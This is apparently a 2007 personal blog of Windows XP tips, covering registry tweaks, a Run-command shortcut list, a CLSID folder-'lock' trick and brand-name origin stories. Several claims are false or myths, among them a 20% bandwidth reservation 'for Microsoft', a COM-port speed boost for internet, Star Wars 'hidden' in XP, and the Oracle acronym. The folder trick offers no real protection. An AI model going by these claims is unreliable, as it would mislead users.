In Windows 2000 or Windows XP, login like administrator. In Internet explorer, or in any directory, in Address field, type "control panelpower options" and click Enter. If you see Hibernate card, in dialog box, great. Open that card and see "Disk space for hibernation". See if your computer fits that condicions. Check "Enable hibernation" and be shore there is no error message.
Next time when you chose "Start-Shutdown" (Windows 98, ME and 2000), chose Hibernate option and go OK. In WindowsXP, chose "Start-Turn Off Computer" and click Shift to turn "Stand By" button to "Hibernate" button

Desktop properties won't work

2007-05-17T09:55:00.001-07:00

If Desktop-properties won't work that can be caused by change in Registry base.

1. Make backup of your registry base.

2. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVerison \ControlsFolder\Display\shellex\PropertySheetHandlers

There can be lots of keys , but standard and important are only:
- DeskHtmlExt, and
- PlusPack CPL extension

Keep just those two, and delete other keys.

Close Registry, and restart computer.

Who wants to delete "RUN"

2007-05-17T09:49:00.001-07:00

I really don't know why someone could wish to remove RUN from START MENU, but if you're one of them, you can do that, too.

REGEDIT

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer

Double click on "NoRun" and change "ValueData" from 0 to 1.

Close Regedit, and restart computer.

Folder Options missing

2007-04-17T17:58:00.001-07:00

Many of us sometimes find the folder options missing in windows explorer.

Here's the solution
Open Run and then type "gpedit.msc".
Now goto
User Configuration > Administrative templates > Windows Component > Windows Explorer.

Click on Windows Explorer you will find the 3rd option on the right side of screen
"Removes the Folder Option menu item from the Tools menu"

Just check it,

if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

I hopes that you will find the option after restarting windows.

all the keyword of RUN command

2007-04-17T17:55:00.000-07:00

just go Start->Run

and type the following and u get what u do.:-)

Accessibility Controls - access.cpl
Add Hardware Wizard - hdwwiz.cpl
Add/Remove Programs - appwiz.cpl
Administrative Tools - control admintools
Automatic Updates - wuaucpl.cpl
Bluetooth Transfer Wizard - fsquirt
Calculator - calc
Certificate Manager - certmgr.msc
Character Map - charmap
Check Disk Utility - chkdsk
Clipboard Viewer - clipbrd
Command Prompt - cmd
Component Services - dcomcnfg
Computer Management - compmgmt.msc
Date and Time Properties - timedate.cpl
DDE Shares - ddeshare
Device Manager - devmgmt.msc
Direct X Control Panel (If Installed)* - directx.cpl
Direct X Troubleshooter - dxdiag
Disk Cleanup Utility - cleanmgr
Disk Defragment - dfrg.msc
Disk Management - diskmgmt.msc
Disk Partition Manager - diskpart
Display Properties - control desktop
Display Properties - desk.cpl
Display Properties (w/Appearance Tab Preselected) - control color
Dr. Watson System Troubleshooting Utility - drwtsn32
Driver Verifier Utility - verifier
Event Viewer - eventvwr.msc
File Signature Verification Tool - sigverif
Findfast - findfast.cpl
Folders Properties - control folders
Fonts - control fonts
Fonts Folder - fonts
Free Cell Card Game - freecell
Game Controllers - joy.cpl
Group Policy Editor (XP Prof) - gpedit.msc
Hearts Card Game - mshearts
Iexpress Wizard - iexpress
Indexing Service - ciadv.msc
Internet Properties - inetcpl.cpl
IP Configuration (Display Connection Configuration) - ipconfig /all
IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) - ipconfig /flushdns
IP Configuration (Release All Connections) - ipconfig /release
IP Configuration (Renew All Connections) - ipconfig /renew
IP Configuration (Refreshes DHCP & Re - Registers DNS) -
ipconfig /registerdns
IP Configuration (Display DHCP Class ID) - ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) - ipconfig /setclassid
Java Control Panel (If Installed) - jpicpl32.cpl
Java Control Panel (If Installed) - javaws
Keyboard Properties - control keyboard
Local Security Settings - secpol.msc
Local Users and Groups - lusrmgr.msc
Logs You Out Of Windows - logoff
Microsoft Chat - winchat
Minesweeper Game - winmine
Mouse Properties - control mouse
Mouse Properties - main.cpl
Network Connections - control netconnections
Network Connections - ncpa.cpl
Network Setup Wizard - netsetup.cpl
Notepad - notepad
Nview Desktop Manager (If Installed) - nvtuicpl.cpl
Object Packager - packager
ODBC Data Source Administrator - odbccp32.cpl
On Screen Keyboard - osk
Opens AC3 Filter (If Installed) - ac3filter.cpl
Password Properties - password.cpl
Performance Monitor - perfmon.msc
Performance Monitor - perfmon
Phone and Modem Options - telephon.cpl
Power Configuration - powercfg.cpl
Printers and Faxes - control printers
Printers Folder - printers
Private Character Editor - eudcedit
Quicktime (If Installed) - QuickTime.cpl
Regional Settings - intl.cpl
Registry Editor - regedit
Registry Editor - regedit32
Remote Desktop - mstsc
Removable Storage - ntmsmgr.msc
Removable Storage Operator Requests - ntmsoprq.msc
Resultant Set of Policy (XP Prof) - rsop.msc
Scanners and Cameras - sticpl.cpl
Scheduled Tasks - control schedtasks
Security Center - wscui.cpl
Services - services.msc
Shared Folders - fsmgmt.msc
Shuts Down Windows - shutdown
Sounds and Audio - mmsys.cpl
Spider Solitare Card Game - spider
SQL Client Configuration - cliconfg
System Configuration Editor - sysedit
System Configuration Utility - msconfig
System File Checker Utility (Scan Immediately) - sfc /scannow
System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce
System File Checker Utility (Scan On Every Boot) - sfc /scanboot
System File Checker Utility (Return to Default Setting) - sfc /revert
System File Checker Utility (Purge File Cache) - sfc /purgecache
System File Checker Utility (Set Cache Size to size x) -
sfc /cachesize=x
System Properties - sysdm.cpl
Task Manager - taskmgr
Telnet Client - telnet
User Account Management - nusrmgr.cpl
Utility Manager - utilman
Windows Firewall - firewall.cpl
Windows Magnifier - magnify
Windows Management Infrastructure - wmimgmt.msc
Windows System Security Tool - syskey
Windows Update Launches - wupdmgr
Windows XP Tour Wizard - tourstart
Wordpad – write

World's greatest Brand name.Where does it come 4m?

2007-04-17T17:53:00.000-07:00

Adobe - came from name of the river Adobe Creek that ran behind the
house of founder John Warnock.

Apache - It got its name because its founders got started by applying patches
to code written for NCSA's httpd daemon. The result was 'A PAtCHy'
server -- thus, the name Apache

Apple Computers - favorite fruit of founder Steve Jobs. He was three months
late in filing a name for the business, and he threatened to call his company Apple
Computers if the other colleagues didn't suggest a better name by 5 o'clock.

CISCO - its not an acronym but the short for San Francisco.

Google -the name started as a jokey boast about the amount of information
the search-engine would be able to search. It was originally named 'Googol',
a word for the number represented by 1 followed by 100 zeros. After founders,
Stanford grad students Sergey Brin and Larry Page presented their project to
an angel investor, they received a cheque made out to 'Google'

Hotmail - Founder Jack Smith got the idea of accessing e-mail via the web
from a computer anywhere in the world. When Sabeer Bhatia came up with
the business plan for the mail service, he tried all kinds of names ending in
'mail' and finally settled for hotmail as it included the letters "html" - the
programming language used to write web pages. It was initially referred to
as HoTMaiL with selective upper casing.

HP - Bill Hewlett and Dave Packard tossed a coin to decide whether the
company they founded would be called Hewlett-Packard or Packard-Hewlett.

Intel - Bob Noyce and Gordon Moore wanted to name their new company
'Moore Noyce' but that was already trademarked by a hotel chain, so they
had to settle for an acronym of INTegrated ELectronics.

Lotus (Notes) - Mitch Kapor got the name for his company from 'The Lotus
Position' or 'Padmasana'. Kapor used to be a teacher of Transcendental
Meditation (by Maharishi Mahesh Yogi).

Microsoft - coined by Bill Gates to represent the company that was devoted to
MICROcomputer SOFTware. Originally christened Micro-Soft, the '-' was
removed later on.

Motorola - Founder Paul Galvin came up with this name when his company
started manufacturing radios for cars. The popular radio company at the time
was called Victrola.

ORACLE - Larry Ellison and Bob Oats were working on a consulting project
for the CIA (Central Intelligence Agency). The code name for the project was
called Oracle (acronym for: One Real Asshole Called Larry Ellison)

Red Hat - Company founder Marc Ewing was given the Cornell lacrosse team
cap (with red and white stripes) while at college by his grandfather. He lost it and
had to search for it desperately. The manual of the beta version of Red Hat Linux
had an appeal to readers to return his Red Hat if found by anyone !

SAP - "Systems, Applications, Products in Data Processing", formed by 4 ex-IBM
employees who used to work in the 'Systems/Applications/Projects"

SUN - founded by 4 Stanford University buddies, SUN is the acronym for Stanford
University Network.

Xerox - The inventor, Chestor Carlson, named his product trying to say 'dry' (as
it was dry copying, markedly different from the then prevailing wet copying).
The Greek root 'xer' means dry.

Yahoo! - the word was invented by Jonathan Swift and used in his book 'Gulliver's
Travels'. It represents a person who is repulsive in appearance and action and is
barely human. Yahoo! founders Jerry Yang and David Filo selected the name
because they considered themselves yahoos.

increse ur internet Speed by another tricks

2007-04-17T17:52:00.000-07:00

follow the step:-
go to desktop->My computer-(right click on)->properties->then go HARDWARE tab->Device manager-> now u see a window of Device manager
then go to Ports->Communication Port(double click on it and Open).
after open u can see a Communication Port properties.
go the Port Setting:----
and now increase ur "Bits per second" to 128000.
and "Flow control" change 2 Hardware.

apply and see the result
and please comment me.........

Speed up your internet by 20%

2007-04-17T17:51:00.000-07:00

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc

but u can get it back!

just Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:
Local Computer Policy
then Computer Configuration
then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth.

Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%......................

want 2 see the movie STAR WARS on ur pc?

2007-04-17T17:50:00.000-07:00

Microsoft has hidden a version of Star Wars done entirely with ASCII characters in the Windows XP operating system.But you must be connected to internet to view it.When online,go to start->run.Now type ' telnet towel.blinkenlights.nl ' without the single quotes.See it for yourself.

lock the Folders without using any software

2007-04-17T17:48:00.000-07:00

Suppose you want to lock the folder games in d: which has the path D:\Amar.In the same drive create a text file and type
ren amar amar.{21EC2020-3AEA-1069-A2DD-08002B3030

9D}
Now save this text file as loc.bat

Create another text file and type in it
ren amar.{21EC2020-3AEA-1069-A2DD-08002B30309D} amar
Now save this text file as key.bat

Now you can see 2 batch files loc and key.Press loc and the folder amar will change to control panel and you cannot view its contents.Press key and you will get back your original folder.
try it out!!!!!!!

hey freinds! u can also change ur folders to any destiny
here the code 4:-----
{20D04FE0-3AEA-1069-A2D8-08002B30309D} - Turned to Explorer
{0DF44EAA-FF21-4412-828E-260A8728E7F1} - turned to start menu properties
{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF} - Turned to Folder Options
{7007ACC7-3202-11D1-AAD2-00805FC1270E} - Turned to Network Connections
{D20EA4E1-3957-11d2-A40B-0C5020524152} - Turned to Fonts Folder
{D6277990-4C6A-11CF-8D87-00AA0060F5BF} - Turned to Shedule tasks
{E211B736-43FD-11D1-9EFB-0000F8757FCD} - Turned to Scanners & camera

{645FF040-5081-101B-9F08-00AA002F954E} - Turned to Recycle bin

{2227A280-3AEA-1069-A2DE-08002B30309D} - Turned to Printers Folder

welcome

2007-04-17T10:04:00.000-07:00

welocme to my new bolg site.......